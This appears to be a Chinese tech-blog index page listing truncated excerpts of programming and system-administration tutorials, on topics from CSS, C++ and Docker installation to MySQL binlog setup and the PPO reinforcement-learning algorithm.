感谢您提供的详细日志信息。根据您的反馈,问题可能出在 pyautogui 没有正确获取鼠标焦点或无法在预期的位置执行点击操作。我们将采取以下步骤来进一步诊断和解决这个问题: 1. **确保 pyautogui 正确执行点击操作**: - 我们将添加更多的调…...
图片底部空白缝隙解决法方案(CSS)
当我想实现一个垂直轮播图时,图片底部会出现一个空白缝隙导致切换轮播图片显示不完整。 这里可以用两个方法解决 一、给图片添加(垂直对齐)vertical-align:baseline|middle|top; vertical-align属性的值可以是 (1)关键字值:baseline|midd…...
URI 未注册(设置 语言和框架 架构和 DTD)
一、问题描述:在springboot项目中的resources中新建mybatis-config.xml文件时,从mybatis文档中复制的代码报错:URI 未注册(设置 | 语言和框架 | 架构和 DTD) 二、解决:在Springboot项目的设置->架构和DTD中添加 红色的网址&…...
STL-string类
目录 string类的意义 C语言原始的字符串 字符串类题目 string类 string类文档 auto和范围for auto是个关键字 范围for string类的接口 string的模拟实现 浅拷贝 深拷贝 写时拷贝 string类的意义 C语言原始的字符串 字符串是以\0结尾的字符的合集,为了方便操作,C标准库提…...
HTML前端开发-- Iconfont 矢量图库使用简介
一、SVG 简介及基础语法 1. SVG 简介 SVG(Scalable Vector Graphics)是一种基于 XML 的矢量图形格式,用于在网页上显示二维图形。SVG 图形可以无限缩放而不会失真,非常适合用于图标、图表和复杂图形。SVG 文件是文本文件&#x…...
C++的一些经典算法
以下是C的一些经典算法: 一、排序算法 冒泡排序(Bubble Sort) 原理: 它重复地走访过要排序的数列,一次比较两个元素,如果它们的顺序错误就把它们交换过来。走访数列的工作是重复地进行直到没有再需要交换…...
LNMP和Discuz论坛
文章目录 LNMP和Discuz论坛1 LNMP搭建1.1 编译安装nginx服务1.1.1 编译安装1.1.2 添加到系统服务 1.2 编译安装MySQL服务1.2.1 准备工作1.2.2 编辑配置文件1.2.3 设置路径环境变量1.2.4 数据库初始化1.2.5 添加mysqld系统服务1.2.6 修改mysql的登录密码 1.3 编译安装PHP服务1.3…...
华为开源自研AI框架昇思MindSpore应用案例:基于MindSpore框架的SGD优化器案例实现
SGD优化器基本原理讲解 随机梯度下降(SGD)是一种迭代方法,其背后基本思想最早可以追溯到1950年代的Robbins-Monro算法,用于优化可微分目标函数。 它可以被视为梯度下降优化的随机近似,因为它用实际梯度(从…...
μC/OS-Ⅱ源码学习(3)---事件模型
快速回顾 μC/OS-Ⅱ中的多任务 μC/OS-Ⅱ源码学习(1)---多任务系统的实现 μC/OS-Ⅱ源码学习(2)---多任务系统的实现(下) 本文开始,进入事件源码的学习。 事件模型 在一个多任务系统里,各个任务在系统的统筹下相继执行,由于执行速度极快&a…...
UnityShaderLab 实现黑白着色器效果
实现思路:取屏幕像素的RGB值,将三个通道的值相加,除以一个大于值使颜色值在0-1内,再乘上一个强度值调节黑白强度。 在URP中实现需要开启Opaque Texture ShaderGraph实现: ShaderLab实现: Shader "Bl…...
【Linux】文件管理必备知识和基本指令
【Linux】文件管理必备知识和基本指令 什么是操作系统什么是文件什么是路径01. ls 指令02. pwd命令03. cd 指令04. touch指令05.mkdir指令(重要):06.rmdir指令 && rm 指令(重要):rmdir指令rm指令 0…...
移远EC200A-CN的OPENCPU使用GO开发嵌入式程序TBOX
演示地址: http://134.175.123.194:8811 admin admin 演示视频: https://www.bilibili.com/video/BV196q2YQEDP 主要功能 WatchDog 1. 守护进程 2. OTA远程升级 TBOX 1. 数据采集、数据可视化、数据上报(内置Modbus TCP/RTU/ASCII,GPS协…...
CSS 浮动定位
浮动定位 float : 浮动定位 left 左浮动right 右浮动 clear : 清除浮动 leftrightboth 浮动定位会导致 元素脱离正常文档流 、 对应的 父 元素 也可能会产生 高度坍塌 。 解决 父元素 高度坍塌的方案有: 1) 父元素 添加 overflow , 值 为 除 visible 之…...
vmware vsphere5---部署vCSA(VMware vCenter Server)附带第二阶段安装报错解决方案
声明 因为这份文档我是边做边写的,遇到问题重新装了好几次所以IP会很乱 ESXI主机为192.168.20.10 VCSA为192.168.20.7,后台为192.168.20.7:5480 后期请自行对应,后面的192.168.20.57请对应192.168.20.7,或根据自己的来 第一阶段…...
Android Webview 详解
一 简介 一个基于webkit引擎、展现web页面的控件 Android 4.4前:Android Webview在低版本 & 高版本采用了不同的webkit版本的内核Android 4.4后:直接使用了Chrome内核 1.1 作用 在 Android 客户端上加载h5页面在本地 与 h5页面实现交互 & 调用…...
如何使用程序查询域名whois信息?
直接使用TCP协议向WHOIS服务器的43端口发送查询请求即可返回WHOIS信息。 一些国际域名(.COM/.NET/.CC等)需要继续向各注册商的WHOIS服务服务发送查询请求来获取详细信息。 大部分New gTLD来说,服务器是“whois.nic.[后缀]”,例如.red的WHOIS服务器为whoi…...
解决view-ui-plus 中表单验证不通过问题,select 组件开启multiple模式 总是提示错误,即使不验证也提示,有值也验证失败
😉 你好呀,我是爱编程的Sherry,很高兴在这里遇见你!我是一名拥有十多年开发经验的前端工程师。这一路走来,面对困难时也曾感到迷茫,凭借不懈的努力和坚持,重新找到了前进的方向。我的人生格言是…...
复杂系统如何架构?
一张图看懂整个后端系统架构 下图展示了整个后端系统架构,包括数据库、应用服务器、API网关等,展示了它们是如何协同工作的。 一些小贴士 CDN是现代互联网架构中不可或缺的一部分,特别是对于那些需要向全球用户提供高性能和高可用性服务的网站…...
leetcode 3224. 使差值相等的最少数组改动次数
题目链接:3224. 使差值相等的最少数组改动次数 题目: 给你一个长度为 n 的整数数组 nums ,n 是偶数 ,同时给你一个整数 k 。 你可以对数组进行一些操作。每次操作中,你可以将数组中任一元素替换为 0 到 k 之间的任一…...
C# 小案例(IT资产管理系统)
开发工具:visual studio 2022 语言:C# 数据库:Sql Server 2008 页面展示 一、登录 二、主窗体 三、用户管理 四、资产管理 五、关于 Java版地址:基于若依开发物品管理系统(springbootvue)_若依物品管理系统-CSDN博客 Python版…...
React第十四节useState使用详解差异
一、useState() Hook 使用 useState视图更新用法 1、写法: import { useState } from react const [name, setName] useState(Andy)利用数组解构写法, 第一个参数是自定义的属性,用于初始化时候渲染,如上面代码,初…...
ubuntu 安装 docker详细教程
1. 准备工作 1.1系统更新 sudo apt update sudo apt upgrade -y 1.2 检查系统版本 lsb_release -a 2.安装docker 2.1. 安装依赖 sudo apt install apt-transport-https ca-certificates curl software-properties-common 2.2 添加docker 官方GPG密钥 curl -fsSL https…...
图书管理系统|Java|SSM|JSP| 前后端分离
【一】可以提供远程部署安装,包扩环境 【二】提供软件相关的安装包 【三】如果需要提供java入门资料可咨询 【技术栈】 1⃣️:架构: B/S、MVC 2⃣️:系统环境:Windowsh/Mac 3⃣️:开发环境:IDEA、JDK1.8、M…...
Apache Echarts和POI
目录 Apache ECharts 介绍 入门 绘制一个简单的图表 Apache POI 介绍 通过POI创建Excel文件并且写入文件内容 通过POI读取Excel文件中的内容 导出Excel表格 Apache ECharts 介绍 Apache ECharts 是一款基于 Javascript 的数据可视化图表库,提供直观…...
ubuntu下的chattts 学习8(结束):长文本的语音转换优化及总结
代码 import ChatTTS import torch import numpy as np import torchaudio import re# 设置环境变量以避免内存碎片化 import os os.environ[PYTORCH_CUDA_ALLOC_CONF] expandable_segments:True# 使用 CPU 进行计算 device torch.device(cpu)chat ChatTTS.Chat() chat.loa…...
Luckysheet 实现 excel 多人在线协同编辑(全功能实现增强版)
前言 感谢大家对 Multi person online edit(多人在线编辑器) 项目的支持,mpoe 项目使用 quill、luckysheet、canvas-editor 实现的 md、excel、word 在线协同编辑,欢迎大家Fork 代码,多多 Start哦~ Multi person online edit 多人协同编辑器…...
最新VMware Workstation Pro领先的免费桌面虚拟化软件基于 x86 的 Windows 桌面虚拟化软件下载安装保姆级教程,直接下载,持续更新
目录 说明 安装程序下载 方法一:直接下载 方法二:官网下载 安装教程 说明 这几天重装电脑,想装VMware Workstation,搜了之后才发现它竟然对个人用户免费了,一个字:爽!终于可以结束百度序列号…...
GitHub使用
太久不用GitHub发现自己又有些不会了,突发奇想为何不把每次看到的有指导意义的博客收录一下以便下次查阅呢 如何上传文件夹到GitHub上(配图详解)?_github上傳資料夾-CSDN博客 github上如何删除自己的仓库_github删除仓库-CSDN博…...
阿里云服务器Linux(centos)系统安装nginx1.20.2
阿里云服务器Linux(centos)系统安装nginx1.20.2 1.安装依赖包 一共要安装4种依赖(基于c语言) yum -y install gcc zlib zlib-devel pcre-devel openssl openssl-devel2.下载nginx安装包并解压安装包 nginx官网下载:http://nginx.org/en/do…...
linux 用户名密码设置
安装linux时默认的密码最小长度是5个字节,但这并不够,要把它设为8个字节。修改最短密码长度需要编辑login.defs文件#vi /etc/login.defs PASS_MAX_DAYS 99999 ##密码设置最长有效期(默认值) PASS_MIN_DAYS 0 ##密…...
MySQL是否可以配合Keepalived实现高可用
MySQL是否可以配合Keepalived实现高可用 是的,MySQL 可以配合 Keepalived 实现高可用性。通常,使用 Keepalived 与 MySQL 配合的方式主要是通过配置 虚拟IP(VIP) 来实现主从数据库的自动切换,从而保证在主数据库宕机时…...
windows下 mysql开启 binlog日志
一、查看是否开启 binlog -- 方式一 show binary logs;-- 方式二 show VARIABLES like log_bin 说明没有开启 方式一 :you are not using binary logging 方式二:log_bin off 二、编辑 my.ini 配置文件 默认安装地点位于:C:\ProgramDat…...
59. 螺旋矩阵 II
59. 螺旋矩阵 II class Solution { public:vector<vector<int>> generateMatrix(int n) {// for(int i0;i<n;i){ 这样的遍历方式不对// for(int j 0;j<n;j){// generateMatrix[i][j] // }// } //初始化矩阵vector<vector<int&…...
XML 查看器:深入理解与高效使用
XML 查看器:深入理解与高效使用 XML(可扩展标记语言)是一种用于存储和传输数据的标记语言。它通过使用标签来定义数据结构,使得数据既易于人类阅读,也易于机器解析。在本文中,我们将探讨 XML 查看器的功能…...
JDBC学习
配置文件 application.yml spring: datasource: username: root password: 123456 url: jdbc:mysql://localhost:3306/rbac?useUnicodetrue&characterEncodingutf-8&serverTimezoneUTC driver-class-name: com.mysql.jdbc.Driverrbac为我自己本地的数据库&…...
单元测试
junit5中五个方法为:Test、BeforeEach(修饰实例方法,在测试方法开始之前执行)、AfterEach(修饰实例方法,在测试方法完成之后开始执行)、BeforeAll(修饰静态static方法,在…...
24/12/9 算法笔记<强化学习> PPO,DPPO
PPO是目前非常流行的增强学习算法,OpenAI把PPO作为目前baseline算法,首选PPO,可想而知,PPO可能不是最强的,但是是最广泛的。 PPO是基于AC架构,因为AC架构有一个好处,就是解决了连续动作空间的问…...